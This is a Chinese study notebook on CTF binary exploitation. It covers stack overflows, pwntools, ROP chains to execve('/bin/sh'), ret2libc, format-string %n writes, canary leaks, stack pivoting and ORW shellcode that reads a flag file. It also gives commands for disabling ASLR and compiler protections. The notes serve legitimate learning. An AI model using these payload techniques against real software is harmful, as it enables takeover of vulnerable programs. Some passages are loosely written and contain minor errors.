text代码段:main函数,sum函数,具体实现的机械码都放在其中,会有一些不可写的代码

data段会存放已初始化的全局变量,str

bss段存放未初始化的全局变量,glb(不占用内存空间)

![屏幕截图 2023-11-19 105211](博客\屏幕截图 2023-11-19 105211.png)

小端序:数据从左往右,存的时候从下到上

•RIP

•存放当前执行的指令的地址

•RSP

•存放当前栈帧的栈顶地址

•RBP

•存放当前栈帧的栈底地址

•RAX

•通用寄存器。存放函数返回值

栈(stack):地址从高地址往低地址增长(从上往下),

堆(heap):地址从低地址往高地址增长(从下往上),

在栈和堆中有shared libraries(共享库),且大小为止,通过两者不同的增长方向使其充分利用空间

![屏幕截图 2023-11-19 114829](博客\屏幕截图 2023-11-19 114829.png)

high address高地址;caller’s Function state函数功能状态;stack top顶端;low address低地址

![屏幕截图 2023-11-19 120035](博客\屏幕截图 2023-11-19 120035.png)

•函数状态主要涉及三个寄存器 —— esp,ebp,eip。esp 用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。

ebp 用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。

eip 用来存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,eip 随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。

•下面让我们来看看发生函数调用时,栈顶函数状态以及上述寄存器的变化。变化的核心任务是将调用函数(caller)的状态保存起来,同时创建被调用函数(callee)的状态。

•首先将被调用函数(callee)的参数按照逆序依次压入栈内。如果被调用函数(callee)不需要参数,则没有这一步骤。这些参数仍会保存在调用函数(caller)的函数状态内,之后压入栈内的数据都会作为被调用函数(callee)的函数状态来保存。

![image-20231119143141350](博客/屏幕截图 2023-11-19 120035-17115442857899-171154428701611-171154428884713-171154429006215.png)

​ 将被调用函数的参数压入栈内

high address高地址;low address低地址;return address回信地址;stack top顶端;caller访客;

function state功能状态;

(1)esp:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。

(2)ebp:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。

在栈中ebp常常保存着的是上一个函数的返回值,用于在栈使用完后返回之前的函数,在栈顶

其中的值是一个指针指向原来的函数的栈低。

在ebp的更高一位地址有一个更为重要的域:return address![屏幕截图 2023-11-20 210719](博客\屏幕截图 2023-11-20 210719.png)

当一个域的函数执行完其中的代码开始执行return前,会先将栈中的esp移到与ebp相同的指向地址并指向这里

之后由于ebp中存放的是上一个函数的返回值,ebp便通过这个地址指向上一个函数栈顶,同时存放再上一个函数的返回值,与此同时esp自动加一指向return address;

在ebp和esp中有一个变量可以由我们向其中输入无限的变量,那我们便可通过输入的数据将ebp指向的上面的数据覆盖,然后在程序执行时,到返回地址时由于已经被我们写入的数据覆盖,会直接返回我们写入的地址,从而达到我们的目标,在ida中我们可以先找到那个变量,便可以看到他与ebp和esp的距离,如:char s;// [esp+1ch] [ebp-64h](可能会出现错误,如果有错用动态调试),我们可以看到此时的s变量距离ebp是0x64字节,当我们向其中写入0x64个字节的数据便可以到ebp的位置,在向上写4个字节便可以覆盖ebp指向的位置,在写4个字节便是要返回的话数值,于是我们只要想s中写入0x68字节的垃圾数据和0x4个字节的特殊数据便可以在函数执行后不正常反悔而是返回到我们需要的值。

通过sub esp,空间大小 确定栈的空间大小;

esp始终指向栈顶,ebp是在堆栈中寻址用的

栈帧也叫过程活动记录,是编译器用来实现过程/函数调用的一种数据结构。简言之,栈帧就是利用EBP(栈帧指针,请注意不是ESP)寄存器访问局部变量、参数、函数返回地址等

栈溢出

1
2
3
4
5
6
7
#include <unistd.h>
#include <unistd.h>
int main(){
char str[8];
read(0,str,24);
return 0;
}

在上面那个程序中str在main函数中栈有8个字节的缓冲区,通过read函数输入值进入str中

在机械执行的过程先将ebq入栈,用于固定返回位置,但是在输入值时由于超出str的区域,使得原本用于返回的值被覆盖,当程序执行到那时不在返回原本应该返回的值,从而出现错误。

00

传参:

•x86

•使用栈来传递参数

•使用 eax 存放返回值

•amd64

•前6个参数依次存放于 rdi、rsi、rdx、rcx、r8、r9 寄存器中

•第7个以后的参数存放于栈中

nc+网址 用于远程链接

pwntools

在python中 先输入

1
from pwn import *

导入环境,通过

1
io = process("./文件名")

与本地的程序建立一个链接,并获的pid:进程号(文件要是可执行文件);通过

1
io = remote("ip",端口)

与远程端口链接。吧“

在于端口连接后需要接送端口传来的数据可以通过

1
io.recvline()

接收传来的一行数据,但只能是一行,

若要向端口传输数据,需注意由于是端口只能传输数据流,需进行特殊处理

传整数,根据传输对象加上p32()或者p64(),在字符串前加上b(“”)

1
2
io.sendline(b'A'*12+p32(0x75834))//也可以换send但要在字符串后加\n
io.sendlineafter('程序的输出',payload)

若端口在接收数据后会返回程序通过

1
io.recv()

一般在最后会加上

1
io.interactive() 允许我们在终端里将命令传送到远程服务器. Pwntools 会自动接收输出并回显 .

接收端口的返回

1
io.recvuntil(b";")

以为接收程序发的数据直到;这个符号为止

写Python脚本

1
2
3
4
#!/bin/python3
from pwn import *
...
io.interactive()

写好之后用python +这个文件名

1
2
3
4
5
context.log_level = 'debug'
gdb.attach(io,'b *地址')
gdb.attach(io,'b *$rebase(0x相对基址偏移)')
pause()

用于在程序进行之中时,进入调试状态。

1
print("main_real_addr:",main_real_addr)

ljust() 方法将使用指定的字符(默认为空格)作为填充字符使字符串左对齐

  • 在pwntools中shellcraft.sh shellcode elf.search,ljust

  • 函数栈的工作方式,rope链的构造,动态链接的解析过程=

在pwntools中shellcraft.sh

在文件中可以通过如下代码链接,从而对文件中的部分数据进行分析

1
elf=ELF("./文件名")

如果在文件中有puts函数,可以通过如下代码查看puts函数在got表像中的地址()

1
2
hex(elf.got["puts"])/不加hex()则打印出来的是十进制数字,hex将十进制转化为16进制
next(elf.search(b"/bin/sh"))

动态调试

1
gdb 文件名(必须是可执行的文件a.out)

进入调试出现pwndbg>标志吧

b+断点,然后r开始调式

start,程序将停在main函数的第一行,或程序的入口第一条指令。

backtrace显示·整个函数的函数调用栈的状况,由上到下调用,下调用上。

return直接回到main函数

1
2
3
1 #!/bin/sh
2
3 gcc -fno-stack-protector -z exestack -no-pie -g -o wwww wwww.c

gcc -fno-stack-protector关闭canary

canary保护

当栈被创立的时候会在ebp的下面放上一个随机值,在程序执行到返回时先检查那个随机值是否正确。不正会直接停止运算

-z exestack打开栈的可执行权限

-no-pie,关闭pie

pie 将elf文件的本体和载入地址都随机化(text,data,bss区的地址)

-g可以在调式时代上源代码,但要在最后加上源代码文件

-o输出文件的名字

在保存后用chmod +x 文件名,为文件赋权

1
echo 0 > /proc/sys/kernel/randomize_va_space

修改发送的栈的地址是不是随机值,正常情况下/proc/sys/kernel/randomize_va_space的值为2,若要此时的栈地址则会得到的是一个随机值,修改为0后将称为一个定值,可以通过cat /proc/sys/kernel/randomize_va_space知道其值为多少,

![屏幕截图 2023-11-21 211454](博客/屏幕截图 2023-11-21 211454-17115441695152-17115441721904-17115441747796.png)

通过动态调试,可以知道我们输入的AAA在一开始入栈的地址为0x7fffffffdeb0,而ebp指向的为0x7fffffffdf20,距离是160个字节,故我们要填充的是160+8(x64系统为8个)垃圾数据然后的8个为需要执行的数据,

在攻击前由于程序是x64需通过一下指令在pwntools中修改

1
context.arch ="amd64"

ldd 文件名(必须为可执行的文件名),查看该文件用到的所有动态链接库,如图

![屏幕截图 2023-11-21 220537](博客\屏幕截图 2023-11-21 220537.png)

其中要重点关注的是第二行,libc.so.6是软链接相当于快捷方式的值指向的是lib中的存放C语言的动态链接库

动态链接库本身就是一个可执行文件,他也有可执行的入口

1
ROPgadget --binary yichu --only "pop|ret",?

在yichu这个可执行文件中寻找为pop,ret的汇编代码

在文件名搜system,

int 0x80,中断号代表进行系统调用,调用系统函数时,函数名一般为sys_write(),但是我们不能直接用他的名称只能在调用时用代号,如sys_write()代号为4,sys_execve()代号11,0xb,可以用0xb直接调用sys_execve()

在使用int 0x80,要确保(eax=0xb,ebx=0x8048xxxx,ecx=0,edx=0)这4个寄存器都已经完成初始化,eax中的0xb代表的是系统函数的调用代(0xb->sys_execve()),ebx中存放的是我们最后要执行到的最后地址,如、bin/sh/的地址

![屏幕截图 2024-01-07 155233](博客\屏幕截图 2024-01-07 155233.png)

payload=b’A’*112(垃圾数据)+p64(pop_eax_ret)+p64(0xb)+p64(pop_edx_ecx_ebx_ret)+p64(0)+p64(0)+p64(bin_sh)+p64(int_80h)[其中的pop_eax_ret,pop_edx_ecx_ebx_ret,bin_sh,int_80h都要在程序中找到地址并在程序之前写明]

![屏幕截图 2023-11-22 213524](博客\屏幕截图 2023-11-22 213524.png)

![屏幕截图 2023-11-23 150419](博客\屏幕截图 2023-11-23 150419.png)

在linux中可以生成的可执行文件分为动态链接文件和静态链接文件,用gcc默认生成的是动态链接,用file分析会出现dynamically linke的标志,其中不含有C语言的基本执行代码只有经过编译后的源码,在执行时与系统链接使用C语言的基本代码。

1
gcc --static 文件名

当执行以上代码时会生成静态链接的文件,用file分析是会有statically linke的标志,其中包含有C 语言的基本执行代码。

![屏幕截图 2023-11-23 152644](博客\屏幕截图 2023-11-23 152644.png)

![屏幕截图 2023-11-23 153131](博客\屏幕截图 2023-11-23 153131.png)

.got 保存了整个程序的虚拟内存空间中各个符号(变量)的偏移量(地址)

.got.plt保存的是函数的地址

●.dynamic section

○提供动态链接相关信息,为操作系统描述整个动态链接的所用内容包括其他的表的位置等等

○保存进程载入的动态链接库的链表

●__dl_runtime_resolve

○装载器中用于解析动态链接库中函数的实际址的函数

动态链接的过程![屏幕截图 2023-11-23 164625](博客\屏幕截图 2023-11-23 164625.png)

1,第一次进行链接

在程序中先定义一个foo函数

代码段首次调用foo,跳转到 .plt 中的 foo 函数项,.plt 中的代码会使程序立即跳转到 .got.plt 中记录的地址

由于进程是第一次调用 foo,故 .got.plt 中记录的地址是 foo@plt+1,于是会跳转到plt中的下一段代码,先将index入栈,index包括的是foo这个函数的在我们程序的位置(第几个函数),然后是跳转到PLT0段

在PLT0中再将一个数入栈,这个数指的是用到的是哪一个动态链接库,之后进行跳转,到_dl_runtime_resolve函数,这个函数将解析 foo 的真正地址填入 .got.plt 中

此后 .got.plt 中保存的是 foo 的真实地址

![屏幕截图 2023-11-23 165300](博客\屏幕截图 2023-11-23 165300.png)

之后的调用到.got.plt处时便可以直接拿到foo的真实地址

栈对齐,ret的加入,call的入栈使其对齐

ida基操

ida中shift+F12查找字符串

g可直接跳转到某个地址

n 可以替换字符名称

h 可以将数字从10进制转为16进制

context.arch=”amd64”

print(asm(shellcraft.amd64.sh()))(

1
2
3
4
5
6
mov eax rax, 0xb 0x3b
mov ebx rdi, [“/bin/sh”]
mov ecx rsi, 0
mov edx rdx, 0
int 0x80 syscall
=> execve("/bin/sh",NULL,NULL)

在静态链接中,在系统内核中的execve(“/bin/sh”,NULL,NULL)这个函数可以获得控制权,但由于他是内核函数,所以,在调用它时必须满足一些必要的调用约定才可以进行调用,

像这些系统内核函数调用必须使用一些特殊的汇编指令才能调用,如int 80(32位)和syscall(64位)就像一个call函数,但是是跳转到内核系统中,至于要跳到哪个函数则要根据之前部分寄存器的值来确定,eax(32)和rax(64)保存了系统调用号(内核函数在内核中都有独属于自己一个调用号,如execve的调用号为11(32位=0xb),59(64位=0x3b)),ebx和rdi用来保存在函数中执行的参数的地址,同时要保证ecx,edx和rsi,rdx中的值都为0。

![屏幕截图 2023-12-03 112959](博客\屏幕截图 2023-12-03 112959.png)

对于在动态链接中调用一个在plt段上的函数,先在ida中的plt段中找到需要调用的函数的地址,在栈溢出之后直接来到plt段的函数进行调用,需要注意的是在调用plt段中函数时由于函数会先创造一个独属于自己的栈,虽然这个栈不用关注,但由于这个栈的存在,在payload中plt函数不会直接读取下一个地址而是读取下下个地址,如get@plt会用的的是buf2的地址不会用中间的那一个。

如果我们在使用时,需要平衡栈空间,便需要消除栈中的数据,对于get下的一个数据get会在最后进行消除,但buf2段不会被消除,此时便需要一个pop|ret的值在中间加入进去,对buf2的值进行消除,对于pop|ret的选择,最后选择通用寄存器入ebx等对程序不会起到大作用的寄存器加进去。

以上的方法主要适用于在32位中的程序中,如果在64位的程序中,由于函数不会直接调用栈中的参数,在64位的系统中参数的前6个会分别存放在rdi、rsi、rdx、rcx、r8、r9 寄存器中,之后的才会放在栈中,同样的函数调用也是相同的,于是只要在函数执行前将函数调用的参数放在那6个寄存器中(一般函数调用一个参数时,更多的是将rdi的值修改为所需参数在的地址。相同的像gets这种输入的函数,先将rdi的值改为bss段中的空地址,于是输入的值便会直接将存放在那个bss段中,在后期调用时,将rdi中的值改为那个地址,然后直接将程序跳plt段中的函数地址,便会直接调用rdi中的地址的参数,执行函数。)

![屏幕截图 2023-12-03 152037](博客\屏幕截图 2023-12-03 152037.png)

![屏幕截图 2023-12-03 151541](博客\屏幕截图 2023-12-03 151541.png)![屏幕截图 2023-12-03 151922](博客\屏幕截图 2023-12-03 151922.png)

偏移地址的计算用的版本为libc6_2.35-0ubuntu3.4_i386(32位程序)的

偏移地址的计算用的版本为libc6_2.35-0ubuntu3.4/3.5_amd64(64位程序)的

在pwntools中,p.recvuntil(“\n”)指的是接收数据,直到遇到换行符”\n”为止。这个指令用于从程序的输出中提取特定的数据。

libcaddr=u64(p.recv(6).ljust(8,”\x00”))指的是从程序的输出中接收6个字节的数据,然后用空字节”\x00”填充到8个字节,并将其解释为一个64位的无符号整数(unsigned long long)。

而libcaddr=u32(io.recv(4))指的是从程序的输出中接收4个字节的数据,并将其解释为一个32位的无符号整数(unsigned int)。

如何获取函数在libc中的偏移量呢?

这里可能有两种情况,一种是libc已知,一种是libc未知。

libc已知

libc已知的情况,可以通过反编译libc获取地址。如下所示,利用radare分析libc文件,可以获取libc中write的偏移地址是0x000d43c0

1
2
3
4
[0x000187c0]> afl | grep write
0x00063880 22 406 -> 395 sym._IO_wdo_write
0x000d43c0 5 101 sym.__write
123

也可以通过pwntools的ELF类,加载libc文件来获取目标函数的偏移地址。

1
2
3
libc= ELF('./libc_32.so.6')

libc_write_offset = libc.sym['write']

在64位的系统中在执行部分函数时其汇编代码中有,当程序在执行时发现停在这条指令而无法继续执行下去时说明程序在该函数的栈存在栈没有对齐的情况,解决的方法便是在payload的该函数的执行之前加上一个ret的命令。

1
movaps xmmword ptr [rsp + 0x40], xmm0这条指令会检查栈是否对齐

再说b’a’*56的作用,他的作用就是为了平衡堆栈,也就是说,当mov_addr执行完之后,按照流程仍然执行400616处的函数,我们不希望它执行到此,因为会再次pop寄存器更换我们布置好的内容,所以为了堆栈平衡,我们使用垃圾数据填充此处的代码(栈区和代码区同属于内存区域,可以被填充),用垃圾数据填充地址0x16-0x22的内容,最后将main_addr覆盖ret,从而执行main_addr处的内容

在C语言中对于一段字符串的存放与取用

存放:在地址空间中将字符串转化位用x00截断的一串连续的字节序列(\ad\ds\ew\vd\x00)

取用:为了节省空间在取用这一段数据时不会直接将整个数据直接传入到函数中,只会把那个数据存放的地址作为指针,把指针作为参数传入到函数中,在调用函数时函数再到指针所指的地址中将那段数据,读出来使用。

在使用printf打印字符时,当传进的数用的是

%p时直接打印的栈上存放的数据,无论是真实的数据还是地址数据都直接打印出来,不做任何的操作

%s时则会先把栈中的数据作为地址将其解析,然后将其作为地址对应的数据打印出来

%n的作用是将栈中的数据作为地址将其解析,然后向那个数据的地址写入数据,而写入的数据是格式化字符串前方已经打印成功的字符的个数(如在%n执行之前成功打印出AAAAA的数据,则会在%n所在的数据代表的地址执行的地方改写成5),

%11$n是一个格式化字符串中的特殊标记,它表示将当前打印字符的数量存储在第11个参数所指向的位置中。这个特性通常被用于进行格式化字符串漏洞攻击,要写第几个参数的位置就在%n中加上几$

%c表示输出一个字符,如

1
2
char c='a';
printf("%c,"c)

则会打印a这个字符,如果在后面有%n则算作1,如果%n要多个则可以将要的字节长度加在%和n的中间,如

1
printf("%20n",c)

执行这个指令会打印的是长度为20的数据,且最后是a,在之前用空格补充不足20字节的地方,而如果后面有%n这会直接输入的数为20

在用printf函数时,在打印数据的符号中间加上(’数字$‘)意为打印第几个参数的

1
printf("%3$d",a,b,c)

如这个,意为直接打印第三个参数,c的值

对于在程序输出中的数据中有我们需要的地址,但不是直接输出,可以用如下接收、

1
2
3
4
5
6
7
io.recvuntil('0x')
cancry =int(io.recv(16/8),16)//如果是64位程序为16,32位为8
//16和8的区别在于程序最终需要的数据是几位的(16进制),如要的是0x0x5619d9400ccd,这为io.recv(12)
libc_start_main = u64(io.recv(6).ljust(8,b'\x00'))
libc_start_main=u64(io.recv(12))
libc_start_main = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_start_main=int(io.recvline().strip().split(b' ')[-1])

所以我们需要把system的地址分成高八位和低八位

1
2
3
high_sys = (system_addr >> 16) & 0xffff

low_sys = system_addr & 0xffff

这里的右移16位就是向右移动4个字节,获得到high_sys的高4位地址

这个错误是由于在将整数转换为字节串时,需要使用encode()函数。你可以使用以下代码来解决这个问题:

1
payload = b'%' + str((stack-0xc) & 0xff).encode() + b'c%6&hhn'

在有些题中会遇到如下代码

1
2
3
v0 = time(0LL);
srand(v0);
v4 = rand();

解释一下,这里将当前的时间作为一个种子复制给v0(*v0 = time(0LL)*),将v0这个种子植入到srand函数中,之后rand函数会根据srand中的数值生成一个随机数,由于之前的种子是有当时时间决定的,故理论上每次运行中的rand中的值由于v0的不同而生成的随机数也不同。如果不将srand中的值用v0作为一个时间变量的话rand中生成的随机数是固定的一个数。

如果在程序中不能直接暴露那个随机数可通过以下代码直接将那个数在脚本中同样生成,(同时运行时间相同,srand生成相同的随机数)

1
2
3
4
5
6
from ctypes import *

libc = cdll.LoadLibrary('libc.so.6') #调用标准库
srand = libc.srand(libc.time(None)) #libc.time(None) 获取当前时间,然后将这个时间值传递给 libc.srand 函数来设置随机数生成器的种子
saved_cookie = libc.rand() #生成随机数
io.sendline(str(saved_cookie))#数字传入程序中需要str

libc.so.6是调用本地的库,在打远程时需根据远程的环境改变,

这一段代码要放在接近程序中生成随机数的地方,最好脚本的开始。

fgets函数

1
char *fgets(char *buf, int bufsize, FILE *stream);

其中的int bufsize指的是能输入的字节的大小,将int bufsize看作n,fgets函数只能读取 n-1 个字符(包括换行符)。如果有一行超过 n-1 个字符,那么 fgets 函数将返回一个不完整的行(只读取该行的前 n-1 个字符)

也就是说,每次调用时,fgets 函数都会把缓冲区的最后一个字符设为 null(‘\0’),这意味着最后一个字符不能用来存放需要的数据。所以如果某一行含有 size 个字符(包括换行符),要想把这行读入缓冲区,要把参数 n 设为 size+1,即多留一个位置存储 null(‘\0’)。

在payload的构造中如果要使用到base64编码一个数据,在传入到中可以用以下代码

1
2
3
4
5
import base64//导入库,在脚本的一开始处就要
payload='A'*22//在使用base64这个库时因为后面的代码有地方改变,不能加b
payload64= base64.b64encode(payload.encode('utf-8'))
//将payload中的值转化为base64编码的赋值给paylaod64
//此时直接输出payload64中的值会自动加入b,可直接使用
1
2
3
import base64
payload=b'A'*32+p32(printf)
payload64= base64.b64encode(payload)

在使用栈覆盖将canary暴露出来是,先在调试阶段找到canary的地方,确定输入多少才能到canary的地方,如输入地方在0x11处,在调试中的canary指到的地方位0x22,距离为17个数,这可以构建的payload为b‘A’*17+b’B’,B的作用在与覆盖00,根据canary的值确定收的值

1
2
3
payload="A"*(17)+'B'
io.recvuntil("B")
canary=u32(b"\x00"+io.recv(3))

沙箱查询,用一下命令查找程序是否启动了沙箱

1
seccomp-tools dump ./文件名

img

如果出现了以上情况则说明该程序中的禁用了 execve, 由于system函数实际上也是借由 execve实现的, 因此通过 get shell的方法来解决本题比较困难 ,要用到ORW方法

如果程序没用使用沙箱则会出现程序正常的执行效果。

对于直接可以获得getshell的题,并且题目中没有后门函数,直接获得getshll的方法有3种

1.用got表中的system和/bin/sh的地址直接获得getshell

2.使用one_gadget直接获得shell

3.修改寄存器的值并执行命令

对于以上3种办法,第一种不多说,直接整就行,重点在第2,3种

二,ong_gadget其实是在库中的一段指令,而这段指令只要执行就可以直接获得shell,但这种指令对寄存器有一定的要求,所以不并不是都可以,并且有的版本过高使得不能一次直接执行成功,我们一般也不会只得到一个,最好一个一个试看看能获得shell,

对于程序中的one_gadget的寻找可以通过一个工具直接找,需要执行以下的名令

1
one_gadget /usr/lib/x86_64-linux-gnu/libc.so.6(/usr/lib/i386-linux-gnu/libc.so.6)

后面接入的是动态链接库,对于32位和64位是不同的库,可以直接在gdb在找,如要打远程则用远程的库,

![屏幕截图 2024-01-07 150423](博客\屏幕截图 2024-01-07 150423.png)

一般执行后的情况如下

![屏幕截图 2024-01-07 150608](博客\屏幕截图 2024-01-07 150608.png)

要用到的是execve前面的数,这个数字代表这的是在程序中的one_gadget相对于程序基值的偏移量,在使用的过程中用这个数加上程序的基值,便是one_getgad的地址,将程序在执行过程中挟持到这个地方便可以执行one_getgad.但是很多时候并不能成功要每一个都试一下

三,对于第3种修盖寄存器的指令,就是如下的办法,但很多时候程序中有的指令时不够用的,以此便要提到使用库中的方法

![屏幕截图 2024-01-07 155233](博客\屏幕截图 2024-01-07 155233.png)

在所有的动态链接库中都有很多的指令,不过动态链接库中的地址都是相对偏移量,要加上程序的基值才是真实地址,并且有的并不能把直接用,要多试

![屏幕截图 2024-01-07 154649](博客\屏幕截图 2024-01-07 154649.png)

如图,可以使用ROP的方法在链接库中寻找需要的偏移量,相同的对于在函数中要用的syscall和0x80指令都可以在动态链接库中找到,然后直接用就行,

对于64位的程序补充一种指令的使用,

1
2
3
4
5
rdi-->binsh
rsi-->0
r15-->0
rdx-->0
system

对于64位的程序如果直接用system(/bin/sh)可能会出现问题,便可以用以上的方法获得shell

栈迁移

对与在栈溢出的情况中如果,输入的地方有限制使得能溢出的大小比较小,不够直接直接执行getgad便需要将栈进行迁移,对于迁移的地方有两个,一种是将程序在此迁移到栈执行的地方将程序在栈上在执行一次,将我们的getgad输入到栈上,执行之后获得shell,但这种的限制比较高,最好不要将程序只要,最好将程序通过溢出使其栈迁移到bss段中的空白处,然后向那段程序中写入getgad并执行

无论是32位还是64位的程序,基础的栈迁移都是一样的,先将要溢出的0-地方的写满,刚好写到变量的最大值(看程序中的变量到ebp的距离),先全部覆盖完之后,在写入要将栈迁移的地址,最后写leave的地址(在程序中找,一般可以直接找到)

1
paylaod=b'A'*(到ebp的量)+p32(新地址)/p64()+p32/64(leave)

这样之后栈的ebp便会改变为新的地址,然后程序便会执行新地址4位(32位的程序)/8位数(64位的程序)后面的地址中的指令,而新地址的前面4或8位数将成为程序执行这一部分时的ebp中的值,因此,在bss段中栈的新迁移地址的前4/8位数要么是垃圾数据,要么是再下次栈迁移的新地址。

如果在程序中有canary保护时,栈迁移则需要先将canary绕过在将数据覆盖到ebp的位置,然后再迁移

1
2
3
payload=b'A'*程序崩溃前最大值+p32/64(canary)//如果有问题将p32/p64去除,直接使用canary
payload=payload.ljust(到ebp的量,b'\00')
payload+=p32/64(新地址)+p32/64(leave)

在很多可以输入的地方,特别要注意是否对输入的数据的长度有没有检查,对于有检查的要重点注意输入的数据是否超出可以输入的长度,特别在栈迁移中,对于是否要加上line,既在输入的数据的末位加上\n(很多时候这个换行符会被当成一个字节)要多加小心,有时会因为这个字节使输入时出现问题

同时line的使用也是必不可少的,有 时候不加这个最后的换行符,会使数据传不过去,要随时注意

在有的栈迁移中垃圾数据的长度不一定是到rdp长度加上8/4,有可能只是到rbp的长度不用加上后面的数据便可以直接进行栈迁移

再用动态链接库调用函数的偏移地址的方法

1
2
3
4
5
6
7
8
9
eof=ELF('/lib/i386-linux-gnu/libc.so.6')
puts=eof.symbols['puts']
sys=eof.symbols['system']
bs = next(eof.search(bytes('/bin/sh', 'utf-8')))


elo=ELF("./文件名")
puts_got=elo.got["puts"]
puts_plt=elo.plt["puts"]

本地的库可以在gdb调式中找到,远程的库直接链接就行

在一些程序中特别是静态的程序,他会将如main函数等主要的函数换一个看不出来特别的函数名,此时若要找到其主要函数的位置则可以通过在汇编中的start函数中的位置找到

img

ORW

关于有沙箱的题的禁用了system等直接获得shell的题目,通过mprotect函数和shellcode直接将flag打印在屏幕上,

在遇到这类题如果有canary保护,必须要通过之前的方法将canary绕过,这里将直接写payload的过程

1
2
3
4
5
6
7
8
9
payload=p64(pop_rdi_ret) + p64(bss_addr + 0x500) + p64(gets)
#构造mprotect,更改内存保护属性
payload+=p64(pop_rdx_pop_r12_ret)+p64(7)+p64(0)#设置保护属性
//这里只用将rdx改为7便可以,如果没有单独的rdx在加上其他寄存器
payload += p64(pop_rsi_pop_r15_ret) + p64(0x1500) + p64(0)#设置大小
payload += p64(pop_rdi_ret) + p64((bss_addr>>12)<<12)#设置起始地址
payload += p64(mprotect)#调用mprotect
#修改内存保护属性后,令RIP指向下方构造的shellcode
payload += p64(bss_addr + 0x500)

对于上文中的pop ret指令如果能在程序中直接找的则最好,如果找不到则通过libc库中的指令运行,对于bss_addr + 0x500只要是bss段中的空地方都可以,mprotect的地址也需要在libc库中寻找,

1
mprotect=libc.symbols['mprotect']+libc

将这段payload注入到程序中,之后便可以直接注入shellcode,关于shellcode可以直接使用库中能直接使用的

1
2
3
4
5
6
7
8
context.arch ="amd64"
payload = shellcraft.open("flag")
#将远程flag文件内容写入缓冲区,open成功时返回值为3
# fd address size
payload += shellcraft.read( 3, bss_addr+0x100, 0x30)
payload += shellcraft.write(1, bss_addr+0x100, 0x30)

io.sendline(asm(payload))//初始化后直接注入程序中

在shellcode的构造中fd的值为固定值

address为程序中的空地址

size为读取的数据长度

这里讲关于ORW的另外一种使用payload构建指令集,然后调用三个不同的函数open,read,write(在有的题中的没有这个函数对与其他只要是能将东西打印在屏幕上的就行,如puts函数),

1,调用open函数打开flag文件

在程序的任意一个可读可写的区域如,bss段注入b’./flag\x00\x00’(满足8字节方便栈对其)

将存放b’./flag\x00\x00’的地址注入到寄存器rdi中,(作为open函数打开的文件名)

再将rsi和rbp中的值分别改为0和1,有时可能还需要将rdx中的值改为0

  • rdi:要打开的文件名的地址(”flag”的地址)
  • rsi:打开文件的模式标志(通常是O_RDONLY,即0)
  • rdx:额外的标志或权限(通常可以设置为0)

在完成上面的一切后可以执行read函数

1
2
3
4
payload=b'./flag\x00\x00'
payload+=p64(pop_rdi_ret)+p64(buf)//为./flag\x00\x00的存放地址
payload+=p64(pop_rsi_pop_r15_ret)+p64(0)+p64(0)//在很多程序中不能找到之改变rsi的命令
payload+=p64(pop_rbp_ret)+p64(1)+p64(open_plt)

在执行完上面的程序后如果能成功打开文件,对于程序来说回通过rax寄存器返回一个值,对于这个值如果为非负数(一般为4),这表示成功打开这个文件,如果是负数如0xffff则没有打开成功,这个数是文件描述符 fd,将在后边调用read函数作为其中一个参数传入

2,调用read将flag文件中内容读到程序中

在调用read函数之前要将这三个寄存器改为相应的值

  1. rdi:设置为文件描述符,即指向已经打开的文件的文件描述符。便是在调用open函数最后通过rax寄存器返回的值(一般为4)
  2. rsi:设置为读取数据的缓冲区的地址。找一个可读可写的空地址bss段
  3. rdx:设置为要读取的字节数。
  4. rbp:设置为1

但是一般在程序中基本不能找到刚好改变这三的寄存器的命令

特别是在动态链接中最多能找到的是改变rdi和rsi的命令,在这里将之前的一种方法再次讲一遍利用__libc_csu_init函数中的两段命令,将一些没有直接修改寄存器的值改变,

image-20240312163842964

一般在这个函数的最后这里都会有这两段命令,1,从0x400A3A到0x400A44的修改5个寄存器的值命令。2,从0x400A20到0x400A29的将r13,r14,r15d分别复制到rdx,rsi,edi(这里edi是rdi寄存器的后8位,一般来说对于rdi寄存器来说不会用到前8位,这样一般就可以了),然后跳转到r12+rbx*8的地址。通过以上两段命令变刚好可将我们需要的三个寄存器的值改变,

1
2
3
4
payload=p64(pop_rbx_rbp_r12_r13_r14_r15_ret)+p64(0)//为了后面跳转不被影响
payload+=p64(1)+p64(read_got)//修改rbp的值,r12为之后要跳转的函数,必须使用got表的地址不能用plt的
paylaod+=p64(0x要读取的长度)+p64(buf空的可写可读之地)+p64(4rax的返回值)
payload+p64(csu_init)+b'A'*0x38//为了将使用这段指令所空出来的值补完便于执行后面需要的命令

如此在将这几个寄存器的值修改后便会执行got表的地址运行read函数将文件中的内容读到程序中的设定地

3,调用puts函数将内容打印出

将之前read函数读取的内容存放之地址放在rdi寄存器中执行plt表的puts函数地址就行

1
payload+=p64(pop_rdi_ret)+p64(buf)+p64(puts_plt)

至此便是通过orw的两方法将flag文件中的内容答应在屏幕上

栈溢出的本意便是通过栈溢出将程序的执行劫持,通过栈溢出将本该执行的栈上的程序通过栈溢出覆盖成自己要想执行命令,如果有的栈所限制的数据太少以至于,连栈迁移的长度都不够,便可以考虑通过栈溢出后将后面要执行的,命令的地址的后面改成其他有用的函数地址,特别是在有pie保护的题中所有的程序只有最后4为数值不同,便可以再栈溢出后加上要挑战的函数的地址的最后的不同的几位,在栈溢出后便会直接跳转到需要执行的函数,

1
payload=b'A'*0x28+b'\x69'

对于整数溢出来说,有一种向下溢出,在程序中如果有整数溢出的存在,但一个数被减成负数时在程序中并不会显示成负值反而会成为一个在允许范围内最大的数,0xffff,同理在一个数被加时,当加的超过范围反而会成为特别小的,0x0001,在做这类题时一定要把握不对那个数进行检查就加或减的地方,在这次加和减中将整数溢出成为需要的那个数

纯手搓shellcode

shellcode的本质就是通过syscall的执行调用不同的函数从而实现目的

对于不同的函数其系统的调用号不同,不同的系统调用号也能调用不同的函数,这个函数的系统调用号储存在rax寄存器中如,要通过syscall调用read,则在执行syscall这个命令之前要满足

RAX = 0
RDI = 0
RSI = 要写入的地址
RDX = 很大的数

相当于执行了read(RDI,RSI,RDX),你就可以往RSI这个地方写很多数据,对于不同的函数的系统调用在下面这个中可以查到Linux系统调用表(64位)_系统调用号表-CSDN博客

